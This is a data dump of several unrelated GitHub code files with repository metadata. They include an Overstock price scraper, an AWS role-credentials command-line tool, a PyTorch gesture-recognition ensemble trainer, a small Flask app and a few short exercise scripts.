index=False)\n\n\ndef process(num1, num2, table1):\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_experimental_option(\n 'excludeSwitches', ['enable-automation'])\n chrome_options.add_argument(\n \"--disable-blink-features=AutomationControlled\")\n chrome_options.add_experimental_option('useAutomationExtension', False)\n chrome = webdriver.Chrome(r\"D:\\chromedriver.exe\", options=chrome_options)\n csv_path = r'C:\\Users\\Admin\\Nutstore\\1\\「晓望集群」\\S数据分析\\OS爬虫\\SKU_list.csv'\n data = read_src(csv_path)\n for i in tqdm(range(1, num2 - num1)):\n link = data[num1:num2][i - 1]\n chrome.implicitly_wait(20)\n link = link[0]\n try:\n chrome.get(link)\n ele_list = chrome.find_element_by_id(\"__NEXT_DATA__\")\n soup = json.loads(ele_list.get_attribute('innerHTML'))\n table1 = get_info(link, table1, soup)\n except BaseException:\n table1.append(\n [link, '-', '-'.join([link[-8:], '000-000']), '-', '-', '-'])\n # for link in data[num1:num2]:\n # chrome.implicitly_wait(20)\n # print(\"总体进度：{}/{}\".format(data.index(link), str(num2)))\n # link = link[0]\n # try:\n # chrome.get(link)\n # ele_list = chrome.find_element_by_id(\"__NEXT_DATA__\")\n # soup = json.loads(ele_list.get_attribute('innerHTML'))\n # table1 = get_info(link, table1, soup)\n # except BaseException:\n # table1.append(\n # [link, '-', '-'.join([link[-8:], '000-000']), '-', '-', '-'])\n\n\ndef main():\n csv_path = r'C:\\Users\\Admin\\Nutstore\\1\\「晓望集群」\\S数据分析\\OS爬虫\\SKU_list.csv'\n data = read_src(csv_path)\n lenth = len(data)\n len1 = round(lenth / 4)\n len2 = round(lenth / 2)\n len3 = round(lenth * 3 / 4)\n\n date = datetime.today().strftime(\"%Y%m%d\")\n process_list = []\n manager = Manager()\n table1 = manager.list() # 也可以使用列表dict\n p1 = Process(target=process, args=(0, len1, table1))\n p1.start()\n p2 = Process(target=process, args=(len1, len2, table1))\n p2.start()\n p3 = Process(target=process, args=(len2, len3, table1))\n p3.start()\n p4 = Process(target=process, args=(len3, lenth, table1))\n p4.start()\n\n process_list.append(p1)\n process_list.append(p2)\n process_list.append(p3)\n process_list.append(p4)\n\n for t in process_list:\n t.join()\n csv_path1 = r'C:\\Users\\Admin\\Nutstore\\1\\「晓望集群」\\S数据分析\\OS爬虫\\Overstock_PriceOutput_' + \\\n date + '.csv'\n table1.insert(0, ['Link', 'subSKU', 'OSSKU', 'Color', 'price', 'OnHand'])\n with open(csv_path1, 'w', encoding='utf_8_sig', newline='') as f:\n writer = csv.writer(f, dialect='excel')\n writer.writerows(table1)\n mapping_sku(\n csv_path1,\n r'C:\\Users\\Admin\\Nutstore\\1\\「晓望集群」\\S数据分析\\OS爬虫\\SKU_Mapping.csv')\n\n\nif __name__ == '__main__':\n s = time()\n main()\n e = time()\n bot_push_text('{}\\n总用时：{}s'.format(os.path.basename(__file__),strftime(\"%H:%M:%S\", gmtime(e - s))))\n","repo_name":"jasonwho321/Guangxin","sub_path":"scrapy/Overstock_Scrapy.py","file_name":"Overstock_Scrapy.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10624677429","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport sys\nimport argparse\nimport logging\nimport os\n\nfrom os.path import expanduser\nfrom aws_role_credentials import metadata\nfrom aws_role_credentials.actions import Actions\n\nlog = logging.getLogger('aws_role_credentials')\n\n\ndef configurelogging():\n log.setLevel(logging.DEBUG)\n stderrlog = logging.StreamHandler()\n stderrlog.setFormatter(logging.Formatter(\"%(message)s\"))\n log.addHandler(stderrlog)\n\n\ndef read_stdin():\n try:\n return ''.join([line for line in sys.stdin])\n except KeyboardInterrupt:\n sys.stdout.flush()\n pass\n\n\ndef token_action(args):\n if args['exec_command']:\n return Actions.exec_handler(**args)\n return Actions.credentials_handler(**args)\n\n\ndef saml_action(args):\n args['assertion'] = read_stdin()\n\n token_action(args)(Actions.saml_token(**args))\n\n\ndef user_action(args):\n token_action(args)(Actions.user_token(**args))\n\n\ndef create_parser(prog, epilog,\n saml_action=saml_action,\n user_action=user_action):\n arg_parser = argparse.ArgumentParser(\n prog=prog,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=metadata.description,\n epilog=epilog)\n subparsers = arg_parser.add_subparsers()\n\n parent_parser = argparse.ArgumentParser(add_help=False)\n\n parent_parser.add_argument(\n '-V', '--version',\n action='version',\n version='{0} {1}'.format(metadata.project, metadata.version))\n\n parent_parser.add_argument(\n '--profile', type=str,\n default='sts',\n help='Use a specific profile in your credential file.')\n\n parent_parser.add_argument(\n '--region', type=str,\n default='us-east-1',\n help='The region to use. Overrides config/env settings.')\n\n parent_parser.add_argument(\n '--role-arn', type=str,\n help='Optional role ARN to use when multiple roles are available.')\n\n parent_parser.add_argument(\n '--exec', type=str,\n dest='exec_command',\n help='If present then the string is read as a command to execute with the AWS credentials set as environment variables.')\n\n parent_parser.add_argument(\n '-q', '--quiet',\n action='store_true',\n help='Do not print helpful info including token expiration on successful authentication.')\n\n saml_parser = subparsers.add_parser('saml',\n description='Assume role using SAML assertion',\n parents=[parent_parser])\n\n saml_parser.set_defaults(func=saml_action)\n\n user_parser = subparsers.add_parser('user',\n description='Assume role using IAM user',\n parents=[parent_parser])\n\n user_parser.add_argument(\n 'role_arn', type=str,\n help='The arn of the role to assume',\n )\n\n user_parser.add_argument(\n 'session_name', type=str,\n help='An identifier for the assumed role session.')\n\n user_parser.add_argument(\n '--mfa-serial-number', type=str,\n help='An identifier of the MFA device that is associated with the user.')\n\n user_parser.add_argument(\n '--mfa-token', type=str,\n help='The value provided by the MFA device.')\n\n user_parser.set_defaults(func=user_action)\n\n return arg_parser\n\n\ndef main(argv):\n configurelogging()\n\n \"\"\"Program entry point.\n\n :param argv: command-line arguments\n :type argv: :class:`list`\n \"\"\"\n author_strings = []\n for name, email in zip(metadata.authors, metadata.emails):\n author_strings.append('Author: {0} <{1}>'.format(name, email))\n\n epilog = '''\n{project} {version}\n\n{authors}\nURL: <{url}>\n'''.format(\n project=metadata.project,\n version=metadata.version,\n authors='\\n'.join(author_strings),\n url=metadata.url)\n\n arg_parser = create_parser(argv[0], epilog)\n config = arg_parser.parse_args(args=argv[1:])\n\n log.info(epilog)\n\n credentials_dir = expanduser('~/.aws')\n\n if not os.path.exists(credentials_dir):\n os.makedirs(credentials_dir)\n\n config.credentials_filename = os.path.join(credentials_dir, 'credentials')\n\n config.func(vars(config))\n\n return 0\n\n\ndef entry_point():\n \"\"\"Zero-argument entry point for use with setuptools/distribute.\"\"\"\n raise SystemExit(main(sys.argv))\n\n\nif __name__ == '__main__':\n entry_point()\n","repo_name":"ThoughtWorksInc/aws_role_credentials","sub_path":"aws_role_credentials/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"3"} +{"seq_id":"33149742207","text":"from collections import Counter\nimport numpy as np\n\nfrom .utils import mobius\nfrom .word_utils import word_inverse, cycle_word, convert_to_runnable\n\n\n\nclass Word:\n def __init__(self, word, matrices=None):\n \"\"\"Initiate word without the leading B\"\"\"\n self.word = word\n self.matrices = matrices\n self.inverse = word_inverse(word)\n self.equivalence_class = None\n \n # transforms point by word\n def transformation(self, z):\n \"\"\"transforms point by word\"\"\"\n matrix = np.array([[1, 0], [0, 1]])\n for element in reversed(self.word):\n matrix = np.matmul(self.matrices[element], matrix)\n\n z = mobius(matrix, z)\n \n return z\n\n def __str__(self):\n return self.word\n\n def __len__(self):\n return len(str(self)) + 1\n\n def get_cycles(self):\n cycled_word = f\"B{self.word}\"\n cycles = {cycled_word}\n\n for _ in range(len(self.word)):\n cycles.add(\n convert_to_runnable(cycled_word)\n )\n cycled_word = cycle_word(cycled_word)\n\n return cycles\n\n def cycle(self):\n frequencies = Counter(self.word)\n print(frequencies)\n \n if frequencies[\"B\"] > 1:\n word = self.word\n next_B_index = word.find('B')\n current_word = word\n cycled_word = f\"{current_word[next_B_index:]}B{current_word[:next_B_index]}\"\n self.word = cycled_word[1:]\n self.inverse = word_inverse(self.word)\n\n else:\n print(\"can t cycle\")\n\n def inverse_transformation(self, z):\n \"\"\" transforms point by inverse\"\"\"\n for element in reversed(self.inverse):\n matrix = self.matrices[element]\n z = mobius(matrix, z)\n return z\n\n\nif __name__ == \"__main__\":\n word = Word(\"BAAAAABa\", [[]])\n word.get_cyles()\n\n","repo_name":"antonydellavecchia/one_relator_curvature","sub_path":"one_relator_curvature/word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33696837090","text":"from flask import Flask, render_template, request, redirect\napp = Flask(__name__)\n\n\n@app.route('/main', methods=['GET'])\ndef main():\n color = {'2021-02-01':'youbin', '2021-02-04':'JYP'}\n return render_template('main.html', value=color)\n\n@app.errorhandler(404)\ndef page_not_found(error):\n return render_template('page_not_found.html'),404\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"youbin802/flask_study","sub_path":"study01.py","file_name":"study01.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28948449184","text":"import argparse\nimport os\nimport sys\nimport shutil\nimport json\nimport glob\nimport signal\nimport pickle\nimport tensorboardX\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport csv\n\nfrom data_loader import VideoFolder,VideoFolder_test\nfrom callbacks import PlotLearning, MonitorLRDecay, AverageMeter\nfrom model import Classifier,ConvColumn5,ConvColumn6,ConvColumn7,ConvColumn8,ConvColumn9\nfrom torchvision.transforms import *\n\nstr2bool = lambda x: (str(x).lower() == 'true')\n\nparser = argparse.ArgumentParser(\n description='PyTorch Jester Training using JPEG')\nparser.add_argument('--config', '-c', help='json config file path')\nparser.add_argument('--eval_only', '-e', default=False, type=str2bool,\n help=\"evaluate trained model on validation data.\")\nparser.add_argument('--test_only', '-t', default=False, type=str2bool,\n help=\"test the trained model on the test set.\")\nparser.add_argument('--resume', '-r', default=False, type=str2bool,\n help=\"resume training from given checkpoint.\")\nparser.add_argument('--use_gpu', default=True, type=str2bool,\n help=\"flag to use gpu or not.\")\nparser.add_argument('--gpus', '-g', help=\"gpu ids for use.\")\n\nargs = parser.parse_args()\nif len(sys.argv) < 2:\n parser.print_help()\n sys.exit(1)\n\ndevice = torch.device(\"cuda\" if args.use_gpu and torch.cuda.is_available() else \"cpu\")\n\nif args.use_gpu:\n gpus = [int(i) for i in args.gpus.split(',')]\n print(\"=> active GPUs: {}\".format(args.gpus))\n\nbest_prec1 = 0\n\n# load config file\nwith open(args.config) as data_file:\n config = json.load(data_file)\n\ndef save_results(logits_matrix, targets_list, class_to_idx, config):\n print(\"Saving inference results ...\")\n path_to_save = os.path.join(\n config['output_dir'], config['model_name'], \"test_results.pkl\")\n with open(path_to_save, \"wb\") as f:\n pickle.dump([logits_matrix, targets_list, class_to_idx], f)\n \n '''\n path_to_save2 = os.path.join(\n config['output_dir'], config['model_name'], \"test_results.csv\")\n with open(path_to_save2, mode='w') as employee_file:\n employee_writer = csv.writer(employee_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n employee_writer.writerow(['John Smith', 'Accounting', 'November'])\n employee_writer.writerow(['Erica Meyers', 'IT', 'March'])\n '''\n\ndef save_checkpoint(state, is_best, config, filename='checkpoint.pth.tar'):\n checkpoint_path = os.path.join(\n config['output_dir'], config['model_name'], filename)\n model_path = os.path.join(\n config['output_dir'], config['model_name'], 'model_best.pth.tar')\n torch.save(state, checkpoint_path)\n if is_best:\n shutil.copyfile(checkpoint_path, model_path)\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.cpu().topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\ndef trainEnsemble():\n global args, best_prec1\n\n # set run output folder\n model_name = \"classifier\"\n output_dir = config[\"output_dir\"]\n \n save_dir = os.path.join(output_dir, model_name)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n os.makedirs(os.path.join(save_dir, 'plots'))\n\n # adds a handler for Ctrl+C\n def signal_handler(signal, frame):\n \"\"\"\n Remove the output dir, if you exit with Ctrl+C and\n if there are less then 3 files.\n It prevents the noise of experimental runs.\n \"\"\"\n num_files = len(glob.glob(save_dir + \"/*\"))\n if num_files < 1:\n shutil.rmtree(save_dir)\n print('You pressed Ctrl+C!')\n sys.exit(0)\n # assign Ctrl+C signal handler\n signal.signal(signal.SIGINT, signal_handler)\n\n # create model\n #model = ConvColumn(config['num_classes'])\n \n model0 = ConvColumn6(config['num_classes'])\n model0 = torch.nn.DataParallel(model0, device_ids=gpus).to(device)\n\n if os.path.isfile(\"trainings/jpeg_model/jester_conv6/checkpoint.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/jester_conv6/checkpoint.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model0.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/jester_conv6/checkpoint.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint'])) \n \n \n model1 = ConvColumn7(config['num_classes'])\n model1 = torch.nn.DataParallel(model1, device_ids=gpus).to(device)\n\n\n if os.path.isfile(\"trainings/jpeg_model/jester_conv7/model_best.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/jester_conv7/model_best.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model1.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/jester_conv7/model_best.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint']))\n \n\n\n classifier=Classifier(config['num_classes'])\n classifier = torch.nn.DataParallel(classifier, device_ids=gpus).to(device)\n \n if os.path.isfile(\"trainings/jpeg_model/classifier/model_best.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/classifier/model_best.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n classifier.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/classifier/model_best.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint']))\n \n model3 = ConvColumn9(config['num_classes'])\n model3 = torch.nn.DataParallel(model3, device_ids=gpus).to(device)\n \n if os.path.isfile(\"trainings/jpeg_model/jester_conv9/model_best.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/jester_conv9/model_best.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model3.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/jester_conv9/model_best.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint']))\n \n model2 = ConvColumn8(config['num_classes'])\n model2 = torch.nn.DataParallel(model2, device_ids=gpus).to(device)\n \n if os.path.isfile(\"trainings/jpeg_model/jester_conv8/model_best.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/jester_conv8/model_best.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model2.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/jester_conv8/model_best.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint']))\n \n model4 = ConvColumn5(config['num_classes'])\n model4 = torch.nn.DataParallel(model4, device_ids=gpus).to(device)\n \n if os.path.isfile(\"trainings/jpeg_model/ConvColumn5/model_best.pth.tar\"):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(\"trainings/jpeg_model/ConvColumn5/model_best.pth.tar\")\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model4.load_state_dict(checkpoint['state_dict'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(\"trainings/jpeg_model/ConvColumn5/model_best.pth.tar\", checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(\n config['checkpoint']))\n \n transform_train = Compose([ \n RandomAffine(degrees=[-10, 10], translate=[0.15, 0.15],scale=[0.9, 1.1],shear=[-5, 5]),\n CenterCrop(84),\n ToTensor(),\n Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n transform_valid = Compose([\n CenterCrop(84),\n ToTensor(),\n Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n\n train_data = VideoFolder(root=config['train_data_folder'],\n csv_file_input=config['train_data_csv'],\n csv_file_labels=config['labels_csv'],\n clip_size=config['clip_size'],\n nclips=1,\n step_size=config['step_size'],\n is_val=False,\n transform=transform_train,\n )\n\n print(\" > Using {} processes for data loader.\".format(\n config[\"num_workers\"]))\n train_loader = torch.utils.data.DataLoader(\n train_data,\n batch_size=config['batch_size'], shuffle=True,\n num_workers=config['num_workers'], pin_memory=True,\n drop_last=True)\n \n val_data = VideoFolder(root=config['val_data_folder'],\n csv_file_input=config['val_data_csv'],\n csv_file_labels=config['labels_csv'],\n clip_size=config['clip_size'],\n nclips=1,\n step_size=config['step_size'],\n is_val=True,\n transform=transform_valid,\n )\n \n val_loader = torch.utils.data.DataLoader(\n val_data,\n batch_size=config['batch_size'], shuffle=False,\n num_workers=config['num_workers'], pin_memory=True,\n drop_last=False)\n \n list_id_files=[]\n for i in val_data.csv_data:\n list_id_files.append(i.path[16:])\n print(len(list_id_files))\n \n ###########\n \n \n\n \n assert len(train_data.classes) == config[\"num_classes\"]\n \n # define loss function (criterion) and pptimizer\n criterion = nn.CrossEntropyLoss().to(device)\n\n # define optimizer\n lr = config[\"lr\"]\n last_lr = config[\"last_lr\"]\n momentum = config['momentum']\n weight_decay = config['weight_decay']\n optimizer = torch.optim.Adam(classifier.parameters(), lr=lr,amsgrad =True) \n \n #torch.optim.SGD(classifier.parameters(), lr,\n #momentum=momentum,\n #weight_decay=weight_decay)\n\n # set callbacks\n plotter = PlotLearning(os.path.join(\n save_dir, \"plots\"), config[\"num_classes\"])\n lr_decayer = MonitorLRDecay(0.6, 3)\n val_loss = 9999999\n\n # set end condition by num epochs\n num_epochs = int(config[\"num_epochs\"])\n if num_epochs == -1:\n num_epochs = 999999\n \n if args.test_only:\n print(\"test\")\n test_data = VideoFolder_test(root=config['val_data_folder'],\n csv_file_input=config['test_data_csv'],\n clip_size=config['clip_size'],\n nclips=1,\n step_size=config['step_size'],\n is_val=True,\n transform=transform_valid,\n )\n \n test_loader = torch.utils.data.DataLoader(\n test_data,\n batch_size=config['batch_size'], shuffle=False,\n num_workers=config['num_workers'], pin_memory=True,\n drop_last=False)\n\n list_id_files_test=[]\n for i in test_data.csv_data:\n list_id_files_test.append(i.path[16:])\n print(len(list_id_files_test))\n test_ensemble(test_loader, classifier,model1,model2,model3,list_id_files_test, criterion, train_data.classes_dict)\n return\n\n if args.eval_only:\n val_loss, val_top1, val_top5 = validate_ensemble(val_loader, classifier,model1,model2,model3,list_id_files, criterion, train_data.classes_dict)\n return\n\n # switch to evaluate mode\n model0.eval()\n model1.eval()\n model2.eval()\n model3.eval()\n model4.eval()\n classifier.train()\n\n logits_matrix = []\n targets_list = []\n \n new_input = np.array([])\n train_writer = tensorboardX.SummaryWriter(\"logs\")\n \n for epoch in range(0, num_epochs):\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n lr = lr_decayer(val_loss, lr)\n print(\" > Current LR : {}\".format(lr))\n\n if lr < last_lr and last_lr > 0:\n print(\" > Training is done by reaching the last learning rate {}\".\n format(last_lr))\n sys.exit(1)\n for i, (input, target) in enumerate(train_loader):\n input, target = input.to(device), target.to(device)\n \n with torch.no_grad():\n\n\n\n\n # compute output and loss\n output0,feature0 = model0(input)\n output1,feature1 = model1(input)\n output2,feature2 = model2(input)\n output3,feature3 = model3(input)\n output4,feature4 = model4(input)\n #sav=torch.cat((feature0,feature1,feature2,feature3,feature4),1)\n sav=torch.cat((output0,output1,output2,output3,output4),1)\n classifier.zero_grad()\n class_video=classifier(sav)\n loss = criterion(class_video, target)\n\n # measure accuracy and record loss\n prec1, prec5 = accuracy(class_video.detach(), target.detach().cpu(), topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(prec1.item(), input.size(0))\n top5.update(prec5.item(), input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if i % config[\"print_freq\"] == 0:\n print('Epoch: [{0}][{1}/{2}]\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n 0, i, len(train_loader), loss=losses, top1=top1, top5=top5))\n\n\n val_loss, val_top1, val_top5 = validate_ensemble(val_loader, classifier,model0,model1,model2,model3,model4,list_id_files, criterion)\n\n train_writer.add_scalar('loss', loss, losses.avg)\n train_writer.add_scalar('top1', top1.avg, epoch + 1)\n train_writer.add_scalar('top5', top5.avg, epoch + 1)\n \n train_writer.add_scalar('val_loss', val_loss, epoch + 1)\n train_writer.add_scalar('val_top1', val_top1, epoch + 1)\n train_writer.add_scalar('val_top5', val_top5, epoch + 1)\n \n # remember best prec@1 and save checkpoint\n is_best = val_top1 > best_prec1\n best_prec1 = max(val_top1, best_prec1)\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': \"Classifier\",\n 'state_dict': classifier.state_dict(),\n 'best_prec1': best_prec1,\n }, is_best, config)\n \ndef validate_ensemble(val_loader, classifier,model0,model1,model2,model3,model4,list_id_files, criterion, class_to_idx=None):\n\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n\n # switch to evaluate mode\n model0.eval()\n model1.eval()\n model2.eval()\n model3.eval()\n model4.eval()\n classifier.eval()\n\n logits_matrix = []\n targets_list = []\n label_list = []\n correct = 0\n total = 0\n with torch.no_grad():\n for i, (input, target) in enumerate(val_loader):\n\n input, target = input.to(device), target.to(device)\n\n # compute output and loss\n output0,feature0 = model0(input)\n output1,feature1 = model1(input)\n output2,feature2 = model2(input)\n output3,feature3 = model3(input)\n output4,feature4 = model4(input)\n #sav=torch.cat((feature0,feature1,feature2,feature3,feature4),1)\n sav=torch.cat((output0,output1,output2,output3,output4),1)\n class_video=classifier(sav)\n loss = criterion(class_video, target)\n if args.eval_only:\n logits_matrix.append(class_video.detach().cpu().numpy())\n targets_list.append(target.detach().cpu().numpy())\n _, predicted = torch.max(class_video.data, 1)\n label_list.append(predicted.detach().cpu().numpy())\n total += target.size(0)\n correct += (predicted == target).sum()\n\n # measure accuracy and record loss\n prec1, prec5 = accuracy(class_video.detach(), target.detach().cpu(), topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(prec1.item(), input.size(0))\n top5.update(prec5.item(), input.size(0))\n\n if i % config[\"print_freq\"] == 0:\n print('Test: [{0}/{1}]\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n i, len(val_loader), loss=losses, top1=top1, top5=top5))\n\n print(' * Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}'\n .format(top1=top1, top5=top5))\n\n if args.eval_only:\n logits_matrix = np.concatenate(logits_matrix)\n targets_list = np.concatenate(targets_list)\n label_list = np.concatenate(label_list)\n print('Accuracy of the model: %d %%' % (100 * correct / total))\n print('Accuracy2 of the model: %d %%' % (100 * ((label_list == targets_list).sum()) / total))\n \n\n path_to_save2 = os.path.join(\n config['output_dir'], config['model_name'], \"test_results.csv\")\n with open(path_to_save2, mode='w') as csv_file:\n my_csv_writer = csv.writer(csv_file, delimiter=';', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for i in range(len(list_id_files)):\n my_csv_writer.writerow([list_id_files[i], class_to_idx[label_list[i]]])\n\n \n print(logits_matrix.shape, targets_list.shape)\n print(class_to_idx)\n save_results(logits_matrix, targets_list, class_to_idx, config)\n \n return losses.avg, top1.avg, top5.avg\n \ndef test_ensemble(test_loader, classifier,model1,model2,model3,list_id_files, criterion, class_to_idx=None):\n\n model1.eval()\n model2.eval()\n model3.eval()\n classifier.eval()\n\n label_list = []\n\n with torch.no_grad():\n for i, (input,_) in enumerate(test_loader):\n\n input = input.to(device)\n\n # compute output and loss\n #output0,feature0 = model0(input)\n output1,feature1 = model1(input)\n output2,feature2 = model2(input)\n output3,feature3 = model3(input)\n sav=torch.cat((output1,output2,output3),1)\n class_video=classifier(sav)\n _, predicted = torch.max(class_video.data, 1)\n label_list.append(predicted.detach().cpu().numpy())\n\n\n \n if i % config[\"print_freq\"] == 0:\n print('Test: [{0}/{1}]\\t ======>In process)'.format(i, len(test_loader)))\n\n\n print(i)\n label_list = np.concatenate(label_list)\n path_to_save2 = os.path.join(\n config['output_dir'], config['model_name'], \"testset_results.csv\")\n with open(path_to_save2, mode='w') as csv_file:\n my_csv_writer = csv.writer(csv_file, delimiter=';', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n print(len(label_list))\n print(len(list_id_files))\n for i in range(len(list_id_files)):\n my_csv_writer.writerow([list_id_files[i], class_to_idx[label_list[i]]])\n\n\nif __name__ == '__main__':\n #main()\n trainEnsemble()","repo_name":"OValery16/Tutorial-about-3D-convolutional-network","sub_path":"train_ensemble_learning.py","file_name":"train_ensemble_learning.py","file_ext":"py","file_size_in_byte":20887,"program_lang":"python","lang":"en","doc_type":"code","stars":223,"dataset":"github-code","pt":"3"} +{"seq_id":"14573258651","text":"from random import choice\n\nnumbers_n_letters = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 'a', 'b', 'c', 'd', 'e']\n\ndef lottery(sequence):\n winner_sequence = []\n while len(winner_sequence) < 4 in sequence:\n pulled_item = choice(sequence)\n if pulled_item not in winner_sequence:\n winner_sequence.append(pulled_item)\n return winner_sequence\n\ndef checking(ticket):\n counter = 0\n while lottery(sequence=numbers_n_letters) != ticket:\n counter += 1\n # print(counter)\n return counter\n\n\nmy_ticket = ['a', 'd', 8, 1]\n\nprint(checking(my_ticket))\n","repo_name":"enitefall88/Python_Crash_Course","sub_path":"Python_Standard_Library/lottery_analysis.py","file_name":"lottery_analysis.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31847036998","text":"# 1010 다리 놓기\nfrom sys import stdin\ninput = stdin.readline\n\nt = int(input())\n\n\ndef factorial(n):\n if n == 1:\n return 1\n else:\n return n * factorial(n-1)\n\n\nfor i in range(t):\n n, m = map(int, input().split())\n if m == n:\n print(1)\n else:\n print(factorial(m)//factorial(m-n)//factorial(n))\n","repo_name":"Mintfrog-1209/mint-gorism","sub_path":"algo/DP/1010.py","file_name":"1010.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3616248430","text":"import numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\n\nFFT_LEN = 512\nFFT_LEN_2 = 256\nSPS = 5\nBUFF_LEN = 300*4\nMU_SPEC_LEN_2 = 24\nclass BreathDetector:\n\n def __init__(self):\n self.buff_len = 0\n self.buff = np.zeros(BUFF_LEN)\n self.spec = np.reshape(np.zeros(BUFF_LEN*FFT_LEN), newshape=(BUFF_LEN, FFT_LEN))\n self.mu_spec = np.reshape(np.zeros(BUFF_LEN*FFT_LEN), newshape=(BUFF_LEN, FFT_LEN))\n\n\n def update(self, data):\n # update buff 更新数据缓冲，如果数据断开的话，需要重置，这里未设置\n if self.buff_len == BUFF_LEN:\n self.buff[:-len(data)] = self.buff[len(data):]\n self.buff[self.buff_len-len(data):] = data\n\n # update spec\n self.spec[:-len(data)] = self.spec[len(data):]\n\n # compute fft of incoming points 逐点计算新数据的频谱\n for m in range(len(data)+FFT_LEN_2-2):\n fft_data = np.zeros(FFT_LEN)\n idx = self.buff_len-FFT_LEN_2 - len(data)+m\n if (idx > self.buff_len-FFT_LEN_2):\n fft_data[:FFT_LEN_2+self.buff_len-idx] = self.buff[idx-FFT_LEN_2:]\n else:\n fft_data = self.buff[idx-FFT_LEN_2:idx+FFT_LEN_2]\n\n # print(idx, '1200', m)\n self.spec[idx] = np.abs(np.fft.fft(fft_data))\n else:\n self.buff[self.buff_len:self.buff_len+len(data)] = 